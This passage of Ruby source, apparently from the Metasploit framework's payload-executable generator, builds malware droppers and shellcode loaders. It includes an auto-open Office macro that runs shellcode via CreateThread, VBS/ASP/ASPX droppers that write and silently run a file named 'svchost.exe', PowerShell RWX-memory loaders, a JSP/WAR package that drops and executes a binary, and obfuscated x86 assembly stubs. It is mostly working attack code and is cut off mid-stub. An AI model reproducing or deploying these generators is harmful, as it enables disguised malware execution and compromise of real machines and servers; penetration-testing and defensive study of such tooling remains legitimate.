For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
#{var_myByte} = #{var_myArray}(#{var_offset})
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
Next #{var_offset}
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
"
end
def self.to_win32pe_vba(framework, code, opts={})
to_exe_vba(to_win32pe(framework, code, opts))
end
def self.to_exe_vbs(exes = '', opts={})
delay = opts[:delay] || 5
persist = opts[:persist] || false
exe = exes.unpack('C*')
vbs = ""
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
vbs << "Function #{var_func}()\r\n"
vbs << "#{var_bytes}=Chr(#{exe[0]})"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "\r\n#{var_bytes}=#{var_bytes}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines.push "&Chr(#{exe[byte]})"
end
vbs << lines.join("") + "\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
vbs << "End Function\r\n"
vbs << "Do\r\n" if persist
vbs << "#{var_func}\r\n"
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
vbs << "Loop\r\n" if persist
vbs
end
def self.to_exe_asp(exes = '', opts={})
exe = exes.unpack('C*')
vbs = "<%\r\n"
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
vbs << "Sub #{var_func}()\r\n"
vbs << "#{var_bytes}=Chr(#{exe[0]})"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "\r\n#{var_bytes}=#{var_bytes}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines.push "&Chr(#{exe[byte]})"
end
vbs << lines.join("") + "\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
vbs << "End Sub\r\n"
vbs << "#{var_func}\r\n"
vbs << "%>\r\n"
vbs
end
def self.to_exe_aspx(exes = '', opts={})
exe = exes.unpack('C*')
var_file = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
var_filename = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_iterator = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n"
source << "<%@ Import Namespace=\"System.IO\" %>\r\n"
source << "<script runat=\"server\">\r\n"
source << "\tprotected void Page_Load(object sender, EventArgs e)\r\n"
source << "\t{\r\n"
source << "\t\tStringBuilder #{var_file} = new StringBuilder();\r\n"
source << "\t\t#{var_file}.Append(\"\\x#{exe[0].to_s(16)}"
1.upto(exe.length-1) do |byte|
# Apparently .net 1.0 has a limit of 2046 chars per line
if(byte % 100 == 0)
source << "\");\r\n\t\t#{var_file}.Append(\""
end
source << "\\x#{exe[byte].to_s(16)}"
end
source << "\");\r\n"
source << "\t\tstring #{var_tempdir} = Path.GetTempPath();\r\n"
source << "\t\tstring #{var_basedir} = Path.Combine(#{var_tempdir}, \"#{var_filename}\");\r\n"
source << "\t\tstring #{var_tempexe} = Path.Combine(#{var_basedir}, \"svchost.exe\");\r\n"
source << "\r\n"
source << "\t\tDirectory.CreateDirectory(#{var_basedir});\r\n"
source << "\r\n"
source << "\t\tFileStream fs = File.Create(#{var_tempexe});\r\n"
source << "\t\ttry\r\n"
source << "\t\t{\r\n"
source << "\t\t\tforeach (char #{var_iterator} in #{var_file}.ToString())\r\n"
source << "\t\t\t{\r\n"
source << "\t\t\t\tfs.WriteByte(Convert.ToByte(#{var_iterator}));\r\n"
source << "\t\t\t}\r\n"
source << "\t\t}\r\n"
source << "\t\tfinally\r\n"
source << "\t\t{\r\n"
source << "\t\t\tif (fs != null) ((IDisposable)fs).Dispose();\r\n"
source << "\t\t}\r\n"
source << "\r\n"
source << "\t\tSystem.Diagnostics.Process #{var_proc} = new System.Diagnostics.Process();\r\n"
source << "\t\t#{var_proc}.StartInfo.CreateNoWindow = true;\r\n"
source << "\t\t#{var_proc}.StartInfo.UseShellExecute = true;\r\n"
source << "\t\t#{var_proc}.StartInfo.FileName = #{var_tempexe};\r\n"
source << "\t\t#{var_proc}.Start();\r\n"
source << "\r\n"
source << "\t}\r\n"
source << "</script>\r\n"
source
end
def self.to_win32pe_psh_net(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
psh << "public class func {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
psh << "} }\r\n"
psh << "\"@\r\n\r\n"
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
end
def self.to_win32pe_psh(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack("C*")
# Add wrapper script
psh = "$#{var_code} = @\"\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
psh << "\"@\r\n"
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
# Set up the payload string
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_size} = 0x1000\r\n"
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
end
def self.to_win32pe_vbs(framework, code, opts={})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
def self.to_win32pe_asp(framework, code, opts={})
to_exe_asp(to_win32pe(framework, code, opts), opts)
end
def self.to_win32pe_aspx(framework, code, opts={})
to_exe_aspx(to_win32pe(framework, code, opts), opts)
end
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#
# @see Msf::Payload::Java
#
# @return [Rex::Zip::Jar]
def self.to_jar(exe, opts={})
spawn = opts[:spawn] || 2
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
zip = Rex::Zip::Jar.new
paths = [
[ "metasploit", "Payload.class" ],
]
zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
zip.build_manifest :main_class => "metasploit.Payload"
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
zip.add_file("metasploit.dat", config)
zip.add_file(exe_name, exe)
zip
end
# Creates a Web Archive (WAR) file from the provided jsp code.
#
# On Tomcat, WAR files will be deployed into a directory with the same name
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
# server is in a default configuration, deoployment will happen
# automatically. See
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
# documentation} for a description of how this works.
#
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
# in the archive. This will be compiled by the victim servlet container
# (e.g., Tomcat) and act as the main function for the servlet.
# @param opts [Hash]
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
# _without the .jsp extension_. Defaults to random.
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
# random.
# @option opts :extra_files [Array<String,String>] Additional files to add
# to the archive. First elment is filename, second is data
#
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
#
# @return [String]
def self.to_war(jsp_raw, opts={})
jsp_name = opts[:jsp_name]
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
app_name = opts[:app_name]
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
web_xml.gsub!(/NAME/, app_name)
web_xml.gsub!(/PAYLOAD/, jsp_name)
zip = Rex::Zip::Archive.new
zip.add_file('META-INF/', nil, meta_inf)
zip.add_file('META-INF/MANIFEST.MF', manifest)
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
# add the payload
zip.add_file("#{jsp_name}.jsp", jsp_raw)
# add extra files
if opts[:extra_files]
opts[:extra_files].each { |el|
zip.add_file(el[0], el[1])
}
end
return zip.pack
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
# payload. The jsp page converts the hexdump back to a normal binary file
# and places it in the temp directory. The payload file is then executed.
#
# @see to_war
# @param exe [String] Executable to drop and run.
# @param opts (see to_war)
# @option opts (see to_war)
# @return (see to_war)
def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
jspraw << "%>\n"
# Specify the payload in hex as an extra file..
payload_hex = exe.unpack('H*')[0]
opts.merge!(
{
:extra_files =>
[
[ "#{var_hexfile}.txt", payload_hex ]
]
})
return self.to_war(jspraw, opts)
end
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
# - default max size is 0x8000 (32768)
def self.to_dotnetmem(base=0x12340000, data="", opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "dotnetmem.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
# Configure the image base
base_offset = opts[:base_offset] || 180
pe[base_offset, 4] = [base].pack('V')
# Configure the TimeDateStamp
timestamp_offset = opts[:timestamp_offset] || 136
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
# XXX: Unfortunately we cant make this RWX only RX
# Mark this segment as read-execute AND writable
# pe[412,4] = [0xe0000020].pack("V")
# Write the data into the .text segment
text_offset = opts[:text_offset] || 0x1065
text_max = opts[:text_max] || 0x8000
pack = opts[:pack] || 'a32768'
pe[text_offset, text_max] = [data].pack(pack)
# Generic a randomized UUID
uuid_offset = opts[:uuid_offset] || 37656
pe[uuid_offset,16] = Rex::Text.rand_text(16)
return pe
end
def self.encode_stub(framework, arch, code, platform = nil, badchars='')
return code if not framework.encoders
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
begin
enc = framework.encoders.create(name)
raw = enc.encode(code, badchars, nil, platform)
return raw if raw
rescue
end
end
nil
end
def self.generate_nops(framework, arch, len, opts={})
opts['BadChars'] ||= ''
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
return nil if not framework.nops
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
begin
nop = framework.nops.create(name)
raw = nop.generate_sled(len, opts)
return raw if raw
rescue
end
end
nil
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess
# and finally executing the code.
def self.win32_rwx_exec(code)
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
;loop loop_modname ; Loop until we have read enough
; The random jmps added below will occasionally make this offset
; greater than will fit in a byte, so we have to use a regular jnz
; instruction which can take a full 32-bits to accomodate the
; bigger offset
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
^
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi, #{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
push dword [fs:eax]
mov dword [fs:eax], esp
call ebx
jmp exitblock
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if (rand(2) == 0)
wrapper << "nop\n"
end
if(rand(2) == 0)
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+8) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
end
wrapper << "autojump#{cnt_jmp}:\n"
cnt_jmp += 1
end
wrapper << line + "\n"
end
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
res = enc.data + code
res
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess,
# starting the code in a new thread, and finally jumping back to the next
# code to execute. block_offset is the offset of the next code from
# the start of this code
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
